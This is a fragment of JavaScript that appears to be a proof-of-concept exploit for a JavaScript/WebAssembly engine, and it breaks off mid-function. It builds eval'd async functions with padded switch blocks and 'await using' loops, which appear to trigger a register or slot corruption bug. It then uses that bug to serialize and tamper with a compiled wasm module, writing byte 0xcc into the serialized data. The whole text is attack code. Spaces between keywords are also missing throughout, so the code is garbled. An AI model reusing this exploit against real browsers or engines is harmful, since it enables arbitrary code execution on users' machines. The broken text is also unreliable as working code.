const wire = newUint8Array(readbuffer('exp.wasm')); const mod = newWebAssembly.Module(wire); let instance = newWebAssembly.Instance(mod); let { wasm_test } = instance.exports; for (let i = 0; i < 0x100000; i++){ wasm_test(); } functionmake(target_slot){ return"a+1;\n".repeat(target_slot-0x11); } asyncfunctionserializeWasmModule(mod){ let low = 0x0402836d; let high = 0xb501; let src = `async function bug(x, arg1, arg2){ void 0;void 0;void 0; void 0;void 0;void 0; void 0;void 0;void 0; let a = 0; switch(x) { case 0: case 1: case 2: case 3: case 4: case 5: ${make(high)}; } for (await using z = { [Symbol.asyncDispose]() {} }; ;) return; a+${low}; return x; }` eval(src); returnawaitbug(0, mod); } asyncfunctiondeserializeWasmModule(wire1, serialized){ let low = 0x05026f6d; let high = 0xb502; let src = `async function bug(x, arg1, arg2){ void 0;void 0;void 0; void 0;void 0;void 0; void 0;void 0;void 0; let a = 0; switch(x) { case 0: case 1: case 2: case 3: case 4: case 5: ${make(high)}; } for (await using z = { [Symbol.asyncDispose]() {} }; ;) return; a+${low}; return x; }` eval(src); returnawaitbug(0, wire1, serialized); } asyncfunctionmain(){ let serialized = awaitserializeWasmModule(mod); let bytes = newUint8Array(serialized); bytes[107] = 0xcc; const wire1 = newUint8Array(wire.length + 4); wire1.set(wire, 0); wire1.set([0x00, 0x02, 0x01, 0x78], wire.length);